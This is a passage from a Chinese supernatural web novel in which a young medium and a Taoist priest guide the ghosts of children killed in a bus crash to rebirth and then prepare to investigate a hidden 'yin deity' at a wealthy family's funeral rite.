“这里面，有你们的爸爸妈妈送来的东西，你们认得出来吗？其实大家都想为你们讨一个公道，你们的事情已经引起了社会各界的关注，但是现在，我们需要给警方一点时间，等警察叔叔找到更确凿的证据我们才能定罪，而你们，你们的魂魄因为长时间徘徊在阳间，已经越来越弱……孩子们，你们不能用这种玉石俱焚的办法处理这件事情。”
“在这样下去，不得这件事调查清楚，你们也会魂飞魄散、灰飞烟灭，这不是你们的亲人朋友希望看到的，也不是陵川市的市民们希望看到的。”
“我希望你们给我们一个机会，我在这里对你们发誓，我们一定会认真调查这件事情，等这件事有了一个了解，我会一一去你们的坟前烧香，告诉你们事情的处理结果。”
孩子们交头接耳，似乎在考虑沈聆这句话的可信度。
他们已经用自己的执念，坚持了这么久，是否就这样放弃了？
还是说，耗尽最后一点灵魂之力，徘徊在此处，等待一个结果？
……
他们犹豫着，用小脑袋考虑着这个复杂的问题。
他们的魂力在肉身毁灭的那一刻就已经受损，灵性、悟性也随之下降，三魂七魄有所欠缺，导致他们的思考能力也受损。
“我觉得这个姐姐说得对，我们应该去投胎了……”
“为什么投胎？你们忘了我们的恨吗？！”
“但是我们这样等下去，没等事情调查清楚我们就会消失的……”
“我，我不想这样，我想回家，我想爸爸妈妈了……”
“我要让他们都给我陪葬！”
……
刚开始只是窃窃私语，但后来，孩子之间发生了争吵。
他们各执一词。
有同意沈聆的做法，有不同意沈聆的提议。
这一整个班级的孩子们逐渐形成了两派，一派同意了投胎转世，另一派固执地要留下来惩罚凶徒。
吵吵闹闹，浑浑噩噩，甚至有几个孩子扭打起来了。
“你闭嘴，你要听我的！”
“我才是班长！你们都得听我的！”
“你都死了，算什么班长？！我凭什么要听你的？”
“安静一点，我是纪律委员，你们要听我的！”
“你放屁！我记得你偷了我一个橡皮擦！我还没找你要呢！什么狗屁纪律委员！”
现场逐渐陷入了混乱。
245. 转世
听着现场七嘴八舌的争吵，沈聆感到脑袋发胀。
毕竟这些只是小孩子，思维认知都有限，不知道无法转生对自己而言意味着什么，单纯只是不愿意、不甘心就这样死去。
“你们安静一点！”
沈聆提高了声音，严厉了几分语气。
吴妄的双眼微微眯起，仿佛两道狭长的缝隙，透露出一丝不易察觉的寒光，他的眼眸深处，金光若隐若现，宛如沉睡的巨龙即将苏醒。
就在这时，他的脚下突然传来一阵轻微的颤动，仔细看去，原来是那原本看似平静的奇门八卦阵，不知何时开始悄然转动起来，每一个卦象都像是被赋予了生命一般，缓缓地移动着，最终停在了一个特定的角度。
刹那间，一股强大而无名的压力从天而降，如同一座沉重的山岳，狠狠地压在了那些叽叽喳喳、吵吵闹闹的小鬼们身上。
这股压力来势汹汹，毫无征兆，让小鬼们猝不及防。
“啊……”
“我头好痛……”
“感觉胸口闷闷的……”
“对、对不起，我不说话了……”
这道金光自上而下压着残魂们，如同泰山压顶，让孩子们喘不过气来。
一时之间，嘈杂的吵闹声只剩下了痛苦的呻吟。
吴妄冷哼了一声，见已经压住这些小鬼，便稍微减轻了几分真气。
小鬼们身上的压力减轻了，这才松了一口气。
吴妄冷哼道：“找你们来，不是听你们吵闹的，给我安静一点。”
“是……是……”
“对、对不起哥哥……我们不敢了……”
孩子们纷纷认错。
吴妄的教育手段就是这样简单粗暴，面对难以沟通的对象时，绝对的“武力镇压”反而是最好的办法。
吴妄补充了一句：“大人讲话，小孩子就要乖乖听。”
“是……”
“不敢了……”
鬼娃儿们纷纷低下头，像是被班主任责骂的孩童一般不敢还嘴。
原先，他们以为眼前的这两个人都是凡人，无甚本事，才蹬鼻子上脸，没想到这次居然来了一个道家高人，这让他们这些没什么修为的小鬼可猖獗不起来了。
沈聆哭笑不得，叹气说道：“你们啊……不要太心急，现在，的的确确是证据不足，所以没办法把真凶绳之以法，而你们的力量，又不足以维持太久魂体的形态，我为了你们考虑，你们还是乖乖转生投胎吧。”
“但是……”
“你们知道吗？黑白无常现在就在陵川市，你们的灵异校车事件现在可是街头巷尾的热门话题，人言可畏，你们觉得黑白无常不会去调查你们的事情吗？一旦被二位大人知道你们这些小孩子固执己见、不肯投胎、逗留于世间，是要把你们抓去阎王殿责罚的。”
听到这里，孩子们都不由得颤抖了一下。
这几天以来，他们都藏在校车上，确实没有遇见过鬼差，但是，在校车行经路线上，也曾经看到的孤魂野鬼，从他们口中听到过黑白无常的大名，要知道他们这可是不服管教的阴魂，一旦被抓去阴间，搞不好是要下地狱受罚的。
“那……那姐姐，我们如果转世投胎了，你还会帮我们继续查下去吗？”
“是啊是啊！姐姐，会不会这件事情的热度就慢慢下去了？”
“我觉得不能投胎！我们只有一直让人看到，引起他们的恐慌，他们才会重视这件事情。”
孩子们七嘴八舌地议论。
闻言，沈聆摇了摇头。
“你们把这件事情想得太简单了，这个世界不是非黑即白的，你们要知道，在大人的世界里，很多事情明知道是错的，却没办法纠正，为什么？因为背后有错综复杂的权利纠葛和社会关系。”
“我想，你们应该在活着的时候也听说过梁氏集团吧？这是我们陵川市的大财团，这样的大财团背后，是有很多政治势力支持的，在没有找到确凿的证据之前，凭着这些毫无根据的揣测，根本没办法扳倒他们。”
“但是，请你们相信，我们在着手调查这件事情的时候，已经尽可能引起社会各界的关注，只要我们能好好利用人们的同情心，等一有了确凿的证据后，这件事情就有翻盘的可能，否则，没有社会舆论的加持，他们只会用更龌龊的手段掩盖犯罪事实。”
孩子们没有说话，似乎在思考沈聆说的这番话是否可信。
毕竟，她是一个和他们毫无瓜葛的路人，要将他们所有的希望寄托在一个年轻姐姐身上，实在是有些冒险。
但除此之外，似乎别无他法。
他们在陵川市徘徊，普通人最多只是上车，根本无法和他们沟通，每一次他们尝试着和活人沟通，都会将他们吓跑，反而扩大灵异新闻的负面影响。
而这个姐姐，是唯一能和他们沟通的姐姐。
而且，还有一个似乎很厉害的哥哥。
如果有他们在的话，说不定还真有可能为他们讨回公道。
此时，一个看似班长的小孩站出来了。
“我觉得，我们可以相信这个姐姐，我是班长，现在老师不在，我有义务帮大家做好决定。”
“萱萱，你怎么知道你的决定没错啊？”
“就是就是。”
“咳咳，我是这样想的，大家应该都能感觉到最近好像身体越来越轻了，我们能维持形态的时间也在减少，我觉得……嗯，这个姐姐说的有道理，我们还是乖乖去投胎吧，如果爸爸妈妈在的话，他们应该也希望我们能乖乖转世吧？”
“但是……”
“我不甘心！”
“我也是！”
“笨蛋！你们看看你们的样子，一个个满脸都是血，这跟我们看电视上看的鬼有什么区别？大家难道就想这样下去灰飞烟灭吗？反正我不要，我要去投胎，等我再一次出生，我或许还能生在一个很有钱的人的家里呢！”
“这好像也是！”
“我也想……”
“所以啊，愿意去投胎的人呢，就举个手，我们一起去，剩下不想投胎的人呢，那就算了，但是我有言在先啊，先到先得，有钱人就这么点，我先投胎到他们家，你们抢不到的话，不要化成厉鬼骚扰我啊！”
不愧是班长，几句话就动摇了在场的其他孩子。
剩下的孩子们窃窃私语地讨论了一番后，举手的孩子越来越多。
最后，坚持不
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举手的孩子见只有四五个孩子被留了下来，也不得不举手，因为他们知道，就凭他们的力量，是没办法维持鬼车灵异事件的。
“好了好了，既然做好决定了，我们就一起投胎吧！”萱萱拍了拍手，“在此之前，大家可以吃一些东西再上路，阿浩，你不是很爱吃炸鸡吗？那边有炸鸡，好像是你奶奶准备的。子言，你不是喜欢奥特曼？那边有个，你自己去玩吧……还有你，语涵，那边有芭比娃娃，我记得你说过你很想要这个玩具来着……”
班长似乎很了解大家的喜好，如同大家长一般，分配了每个孩子的“任务”，成功转移了大家的注意力。
孩子们复又热热闹闹地享受起路人的贡品来了，孩子毕竟是孩子，有了好吃的好喝的，就什么烦恼都忘了，他们是一起死去的，现在也要一起去投胎，大家一起开开心心的，就像……一起去春游一般。
萱萱满意地看着班级的同学们，他们兴高采烈地分享着自己拿到的玩具或者零食，虽然依旧是血肉模糊的脸庞，但那双眼睛的神采奕奕却是遮盖不住的。
沈聆看着镜子里萱萱的侧脸，温柔一笑：“难怪选你当班长。”
“那是，我可是我们班成绩最好、人缘最好的人！对了对了，姐姐，我们还有两个小伙伴消失了，你能帮我们找一找他们吗？我担心他们没办法投胎。”
“谁？”
“李子晨和李向泰，我们每天午夜都会聚集在一起，但是，忘了是从哪一天开始，他们陆续都没出现了……在那之后我们也再没有看到过他们，我很担心。”
“哦哦，他们啊，你别担心，李向泰呢，我之前在殡仪馆见过他，他……也算是被超度了吧，当时他煞气附体，被人利用了，不过现在已经往生极乐；李子晨也是，我在他家的灵堂前把他招魂出来了，完成了他的心愿后，他了然离世。”
“这样啊，姐姐你好厉害！如果早点遇见你，我们也不用一直当孤魂野鬼啊。”
“委屈你们了，你们放心，我一定会帮你们讨回公道，这件事情的始作俑者，一定要给一个说法！”
……
吃饱喝足之后，孩子们准备上路了。
大家手牵着手站在一起，身上发出淡绿色的光。
脸上，身上的血污也在一点一点消散，黄泉路的天空之中，洒下一道金色的光辉，这道光线就这么轻飘飘地落在孩子们身上，净化了他们身上所有的伤痕，让他们回到未出事之前的模样。
“哈哈哈，太好啦！”
“我们要走了吗？”
“对，大家手牵着手，不要走散啦！”
“拜拜喽，下辈子要记得好好写作业哦！”
“你也是，少吃点甜食，不要再蛀牙了。”
“下辈子再来找我玩！”
“好！”
孩子们就这么说笑着，互相告别，他们热闹地聊天着，身体一点一点变得透明，但这一刻，他们心中不再有恐惧，也不再有遗憾，他们就这样一起朝着世界的彼方而去，在那里，他们的灵魂又将开始新一轮的转世，开启新的旅程。
在身体即将透明化的那一瞬间，萱萱看向了沈聆——
“姐姐，再见了！谢谢你！”
246. 下山
在孩子们的灵魂逐渐消散的过程中，天空中那道透着金色光芒的缝隙也缓缓合拢，仿佛是被一股无形的力量牵引着。
随着缝隙的闭合，最后一丝金色光芒也消失在天际，天空重新恢复了一片沉寂和黑暗。
沈聆一直紧盯着天空中的这一幕，当她看到那道缝隙完全闭合时，心中的一块大石头终于落了地。
她长长地舒了一口气，喃喃自语道：“太好了……还好送走了这些孩子。”
站在她身旁的吴妄冷哼一声，不屑地说道：“哼，这些臭小鬼，如果不是我们出手干预，估计过不了几天就会灰飞烟灭了。”
她的目光落在远处的天空，那里原本是黄泉路的景象，此刻正逐渐散去。
天空中，大片大片的血色云朵如烟雾一般缓缓消散，原本被血雾笼罩的山崖也渐渐露出了原本的面目，血雾逐渐散去，那似有若无的哭声也随之消失，圆山路终于恢复了它原本的模样。
“这些孩子也是年幼无知，意外横死，他们当然心有不甘，可惜他们的力量太弱了，不足以抗衡更强大的存在。”
“你指的是……阴神？”
“是，我觉得，阴神始终藏在陵川市，只不过她现在藏得很好，哪怕是黑白无常都没有找出她的位置。”沈聆微微低下头，右手托着下巴思考着，脑海中浮现出一位双马尾小女孩的模样。
她的脑海中始终萦绕着那个可怕的画面——那小女孩的眼眶是两个模糊的血洞，深不见底，仿佛通向地狱的深渊，那原本应该是眼睛的地方，如今只剩下一片黑暗和血腥，让人毛骨悚然。
小女孩的皮肤也不再是健康的红润，而是呈现出一种溃烂的状态，苍白得如同被抽走了所有的生命力，那皮肤紧紧地贴在脸上，像是被一种无形的力量拉扯着，显得异常诡异。
当她与小女孩的目光交汇时，她感觉到一股寒意从脊梁上升起。
那小女孩的眼睛虽然已经不存在了，但她却能清晰地感受到那目光的穿透力，仿佛能够直接看到她灵魂的最深处。在那一瞬间，她觉得自己的内心被彻底暴露无遗，所有的秘密和恐惧都无所遁形。
每每午夜梦回，这样可怕的画面总是会浮上心头。
近期发生的许多案子都与那小女孩有关，有人在供奉她，在企图借用她的力量做些违背道德伦理的事情，阴神不除，陵川市始终有潜在的隐患。
“我听明夷说，她在网上和一位对玄学颇有研究的网友聊天，那个网友一眼看出了园山公路交通事故的不妥，还说……我们陵川市内有人做法、祭祀，而且很可能就是我们要找的阴神。”
沈聆看向了吴妄。
吴妄蹙眉：“嗯？陵川市还有这等高人？”
“不一定是在陵川市的，也可能是其他地方的网友，但是了解了这些事情后，作出了风水学上的判断。”
“这也不是不可能，大千世界，藏龙卧虎，大隐隐于市，不要看平平无奇的市井之中，往往有高人存在。”吴妄说了句高深莫测的话。
“他给明夷标记出了地图上的两个地方，我觉得，我们可以顺着这个思路查一下……”沈聆说着，看向了远处。
站在园山公路边，二人静静地凝视着眼前的景象——
夜幕笼罩下的断崖显得格外静谧，仿佛是一个沉默的巨人，守护着这片土地，从断崖的地方望过去，视线穿越层层叠叠的山峦，最终落在了被群山环抱的陵川市。
此时的城市，宛如一个沉睡的巨兽，只有点点星火在黑暗中闪烁，宛如夜空中的繁星，然而，这些微弱的光芒却足以让人感受到这座城市的繁华与生机，它们像是城市的脉搏，跳动着，诉说着这座城市的故事。
白天的陵川市，街道上车水马龙，行人匆匆忙忙；高楼大厦鳞次栉比，玻璃幕墙反射着阳光；商场里人头攒动，热闹非凡，而现在，这座城市在深夜的宁静中，展现出了另一番景象，让人不禁感叹它的多样性和魅力。
在这样一个看似祥和的地方，或许藏着更加龌龊的勾当。
“一个，是背面的小树林。”沈聆说着，指向了陵川市的北面。
吴妄顺着她指着的方向看去，那也是一座山脉，山上黑漆漆的，没有一点灯火。
“另一个，是东侧的游乐场。”
沈聆指向了陵川市的东面，此刻，虽然游乐场已经停业，但依稀可以看到游乐场中亮着的路灯，以及远处高大的摩天轮。
“那位高人的意思……我们调查一下这两个方位，或许能有所收获。道长，这两个地方，你有没有感觉到有什么不一样的地方？”
吴妄皱起眉头，往前走了一步。
他站在断崖边，从断崖下吹起的风，翻卷着外套的下摆，他的视线看向了远处的那两个方位。
“……从风水学上来看，这两个位置都是背阴、汇集阴气的地方，如果我是阴神，选择在这两个地方藏污纳垢，的确是很合适，树林，主阴，树林之下，更容易有见不得光的孤魂野鬼；而游乐场，却是个人气旺盛的地方，可如果这两个地方一阴、一阳，相互辅佐，交相辉映，也的确符合太极八卦的对冲。”
“那我们找个时间去调查一下吧。”
“打算什么时候去？”
“后天吧，明夷已经准备好相应的仪器设备了，我们想着，先去小树林看看，树林的闲杂人等不多，也方便我们调查。”
“行。”
“那你的伤……没问题了吗？”
沈聆指的是在世纪大酒店的房间里，被阴神所伤的事情。
吴妄摆了摆手：“没问题，师叔虽然反对我下山，但是我觉得我没问题了，就是有时候真气仍然有些紊乱，花点时间调理一下就行。”
“那你……这次是偷偷溜出来的？”
“是啊……唉，也不能用‘偷偷’来形容，我就是我，来去自如，一个道观还能困住我不成？师傅也说了，各人自有各人的缘法，
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我师叔老这么管着我，这不是在干预我的命途嘛。”
两人说着，往回城的方向走去。
“你师叔也是关心你……对了，我上次去道观找你，看到一个道骨仙风的老人家，好像是你们的掌门？”
“对，那就是我师叔，玄霄真人，我师傅经常闭关或者外出游历，加上年纪大了，不想操持青城山的事情，就将掌门的位置传给了玄霄，他啊，道法高强，就是太啰嗦了，什么事情都爱管，像个老妈子一样。”
吴妄说着，用小拇指掏了掏耳朵。
“在我师傅不在的时候，他就负责传授课业，管理道观，在我们师兄弟之中威望很高，就是这个人吧，太较真了，不苟言笑，不够亲和，像个老古板一样。”
路灯的光芒将两人的身影拉长，宛如两条细长的墨线，在地面上交织在一起，他们就这样肩并肩地走着，有一搭、没一搭地聊天。
山风呼啸着吹过，带来阵阵寒意，如同一股股冰冷的细流，顺着沈聆的脖颈流淌而下，她不禁打了个寒颤，身体微微颤抖起来，这山风阴冷得让人有些难以忍受，仿佛能穿透衣物，直抵骨髓。
“玄霄真人也是为了你们好，我看着，他虽然严厉，倒也是一个靠谱的人……对啦，他还养了一只猫？我上次遇到了，好像叫……叫元宝……”
话音未落，一个温暖的外套便披在了沈聆身上。
感受到外套传来的温度，她惊讶地转头看向了吴妄，发现他脱下了自己的外套，披在她的身上。
“道长……”
“我不冷，给你。”
“我……”
“我看你鼻涕都要流出来了，到时候别朝着我要面巾纸，我可没有。”
“……胡说什么呢。”沈聆嘴角微微上扬，一抹淡淡的红晕却悄然爬上了她的脸颊。
少女的脸红，胜过一切对白。
此刻，任何话语似乎都显得有点多余。
这一瞬间的变化，让原本就有些尴尬的气氛变得更加微妙起来，两人之间的沉默如同被施了魔法一般，谁也没有主动打破这片寂静。
或许是因为周围的环境太过安静，让人不由自主地陷入沉思；又或许是因为两人心中都各自有着其他的事情在萦绕，使得他们无法专注于彼此的交流。
就这样，他们默默地走着，脚下的路在沉默中不断延伸，下山的道路并不崎岖，但此刻却显得异常漫长，仿佛没有尽头。
半晌，沈聆开口说道：“……我觉得道长是个很了不起的人。”
她的声音很轻，但却又落在了吴妄心上。
他看向了她：“嗯？”
“你能把顾老五交给公安机关，说明你是个很理智的人，不会被报仇的怒火冲昏头脑。”
“哼，我只是不想因此被送进去……顾老五后面，还有其他人，我要找的，不只是顾老五一个人，还有他后面的那些人，我要一个一个揪出来，给吴家村的村民报仇。”
247. 梁家的邀约
原定后天前往城北小树林调查，但没想到计划赶不上变化，梁家的法事即将开坛，在这个关键节点邀请外婆上门，希望外婆以通灵之人的身份，旁观法事，若有不到位的地方，随时指正，确保法事顺利进行。
梁家是这样邀请的，毕竟梁家的祖宅和外婆的家一样都在西乡村，外婆在村里是老神婆的名声几乎到了人尽皆知的地步，因此，梁家格外重视邀请外婆参加法事的事情，前三天便已经派人上门邀请外婆，并包了大红包、提了许多礼品，希望外婆到场观看。
“……我老婆子年纪大了，不喜欢折腾，而且我还有个小孙女还在住院，我每天要给她煲汤，走不开，不过，如果你们不嫌弃的话，可以让我的大孙女代替我参加法事，别看她虽然年纪小，但时常跟着我，也听了许多我的教诲，那方面的事情也做得得心应手，我想着，让我大孙女替我去便是了。”
外婆是这样说的。
哪怕梁业亲自上门，也是这番回答。
外婆年纪确实大了，加上外婆不松口，梁家只能答应让沈聆代替外婆参加梁家的法事。
那天，在沈聆放学回家后，便看到客厅堆着许多补品、礼品，大大小小，加起来居然有三十多箱子，将本就不大的客厅堆成了一个小仓库一般。
沈聆瞠目结舌之中，外婆便给了她一个任务。
“你去梁家瞧瞧吧，我已经和他们的家主说好了，让你去参加法事。”
“但是……但是，外婆，你会的那些东西，我都不会呀，我现在只能勉强做好阴厨的事情，其他的……”
“其他的事情也不用你做，他们邀请了各路修行之人，也已经安排好了超度亡魂的法事，你呢只需要在旁边出席就可以了，我跟梁业那小子说了，我会将注意事项都告知你，你到场跟我到场，都是一样的。”
听到外婆居然称呼叱咤风云的梁业为“那小子”，沈聆不由得哑然失笑。
“怎么，梁业刚才亲自登门拜访您老人家了？”
“是啊，那小子倒是有诚意，但是我对这事儿不感兴趣，而且，我现在已经不当阴厨好多年了，再去参加这样的场合不合适。”
“嗯？梁业知道阴厨的事情？？”沈聆一惊。
“知道的，梁家知道的事情，远比你想象中要多得多。”外婆意味深长地说，“西乡村就这么点，村里的老人可以说个个都是‘百事通’，梁业想要打探一些消息，可太容易了。”
“也是……但是外婆，这么说他也知道了我继任阴厨的事情了？”
“嗯，但是你放心，他不会对你怎么样的，他做的是活人的生意，赚的是活人的钱，阴厨这类东西，他不感兴趣，这次会登门拜访，完全是出于对母亲的一片孝心。那孩子，是我看着长大的，他大小看着母亲被父亲冷落、辜负，深恨父亲，同情母亲，因此，在母亲的白事上，更是希望做到十全十美。”
“这样……那好吧，我就去看看吧。”
沈聆点了点头，但内心仍旧感到不安。
她原以为梁家的法事要过段时间才会操办，但是这件事情似乎比她想象中要来得更快一点。
虽然她早就想潜入梁家调查一番，但当这个机会真的出现在眼前时，仍旧不免心下打鼓，担心自己无法做好这些事情，甚至，可能会搞砸这一切。
如果阴神真的在梁家，自己是否会和阴神碰面？
如果真的见到了阴神，她是否会对自己下手？
若真是发生了类似的“摩擦”，那梁家的法事岂不是毁于一旦？
梁业若真如外婆所说，是个大孝子，那么一定不会允许母亲的法事被他们破坏，到那个时候，自己是否还有颜面面对外婆？
不，可能到那个时候，自己能否安全归来都是个问题。
想到这里，沈聆抬起头看向了外婆：“外婆，我这次去，想和我朋友们一起去可以吗？”
外婆听了，露出一个意味深长的表情：“你的意思是……是叫上小道长？”
沈聆不好意思地挠了挠头：“对，不只是他，还有我的朋友宋明夷、林凌，您也知道，我们一直都怀疑梁家藏着阴神，如果我一个人孤身前往，不太好调查，而且若真是发生了什么事情，多几个人也好多几种应对的办法。”
“可梁家只是邀请了我一个人去，同样，如果你要代替我去，应该也是你一个人去。”
听到这里，沈聆忙坐到了外婆身边，讨好地挽起外婆的手臂。
“哎呀，外婆，你就答应我吧，你跟他们说，我比较年轻、不经事，很多事情处理起来还很幼稚，多几个朋友和我一起去，我们也能更好帮助梁家，做好这场法事。”
“但是……你那几个朋友，梁业一调查就能知道他们是做什么的，特别是那两个，一个是警察，一个是护士，你说这样的人，能和我们这种装神弄鬼的人混在一起吗？”
“那不然……就让他们扮做给道长打下手的小道士吧！反正青城山的道士这么多，短时间内梁业不可能都一一查清楚，而且我们带着青城山的道士去，也是合情合理。”
“这……”
“哎呀，外婆，您就答应吧，我自己啊是真的没有把握，您没有和阴神交手过，好家伙，那个小女孩道行可高了，道长都不一定是她的对手，如果梁家真的是她藏身的地方，那么在梁家，她的煞气应该会更强，而且，她早就看上了我身上的灵元草，想方设法的给我挖坑，万一您这么一个活泼可爱的孙女，就这么折在梁家了，您不得心疼死啊……”
外婆拍了一下沈聆的手背：“呸呸呸，净说这些没影的话，你是最有福气的孩子，定能逢凶化吉。”
沈聆嘿嘿一笑：“是是是，但是人为的努力也是不可缺少的嘛。”
“知道了，那我跟梁家那边说说看，但是我可不能保证会成功。”
“好！”
……
虽然外婆拿不住梁家是否会答应。
但梁家那边的态度倒是比沈家想象中要更爽快一点。
在得知了外婆提的条件之后，他们一口同意，似乎只要请到阴厨到场，给再多的钱、同行再多的人都不是问题。
这一次，梁业讲清楚了自己的用意。
希望阴厨到场。
并且，希望阴厨带着招魂祭祀所需要的东西。
梁家人说，在法事上不一定会请阴厨招魂，但是若有所求，定然重金酬劳。
“
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你去了之后，先不要招魂，如果梁业有需要你招魂唤老太太的话，你再做，毕竟这是人家亲妈，不好自作主张。”
“那还要我去？”
“他是想着，毕竟是最后送母亲一程了，有些想见母亲最后一面，而且也担心母亲真的遗憾离世……可话又说话来，若他的母亲真的心存遗憾，对他自己而言，也是证明他的不孝，让母亲无法安然离世，这不是打他的脸吗？”
“原来如此。”
“两下犹豫，梁业还是决定请一个阴厨到场，当然，不一定需要我们做事情就是了。”
“我明白了。”
“你的那些朋友呢，我说是你的助手，到时候你让他们跟着你就行了，进了梁家之后，会有管家带你们进去灵堂，不要高声喧哗，不要大吵大闹，人家让你们做什么就做什么，像这样的大户人家，规矩严明，法事一定也有很多讲究，可能也会请亲朋好友到场送一送老人，我们就当是普通邻居参与法事就好了。”
“好的。”
“叫你的朋友们都穿黑色的衣服去，到门口的时候，他们会给你们一人一朵白花，别在胸前，梁老太太呢，是个好人，在我还是小孩子的时候，她是村里最和善的姐姐，只可惜……所托非人，这辈子算是耗在一个负心汉身上了，临了了，真希望她是毫无遗憾地离开的。”
外婆说这句话的时候，看向了远方。
从那双浑浊的眼睛里，似乎看到了遥远的过去，在那个贫困潦倒的年代，有这么一个温柔的人，默默承受着压力，一个鲜活的灵魂枯萎在了深宅大院里。
原以为自己选择是能善待自己的良人，没想到对方只是个凤凰男，在飞黄腾达之后，就一脚把她踢开，将她留在了乡下祖屋里，而自己则是在外面花天酒地，讨了好几个小老婆，欠下许多风流孽债。
外婆的声音有些哽咽了：“唉……聆娃儿，你帮我去送一送那位老姐姐吧，她也是可怜人。”
“好，外婆，您放心吧，这辈子梁家老太太过得苦，下辈子她一定可以遇到一位真心实意对她的人的。”
“你也是，聆娃儿，虽说女孩子这辈子不一定要结婚，但是如果你选择了一个人，就一定要考量对方的人品，不要被一时表象所蒙蔽，要知道，很多男人是会骗人的，要看清一个人，十年、二十年或许都不够，女孩子的大好时光就这么二三十年，就这么浪费在一个男人身上，真是一辈子的遗憾了。”
“……那外婆，您有自己的遗憾吗？”
“……”
“是……玉蘅子真人吗？”
沈聆小心翼翼地问了一句。
外婆沉默着，没有说话，仿佛整个世界都在这一刻凝固了，然而，那股悲伤却如同一股暗流，在她的沉默中悄然涌动，逐渐发酵。
她静静地看着外婆，外婆的脸上没有太多的表情，只有那微微皱起的眉头和略显黯淡的眼神透露出内心的痛苦，她的嘴唇紧闭着，似乎想要说些什么，但最终还是选择了沉默。
莫名的悲伤却在这沉默中愈发浓烈，像一杯被慢慢煮沸的咖啡，散发出令人心碎的香气，沈聆能感觉到那股悲伤正从外婆的身体里渗透出来，弥漫在空气中，让人几乎无法呼吸。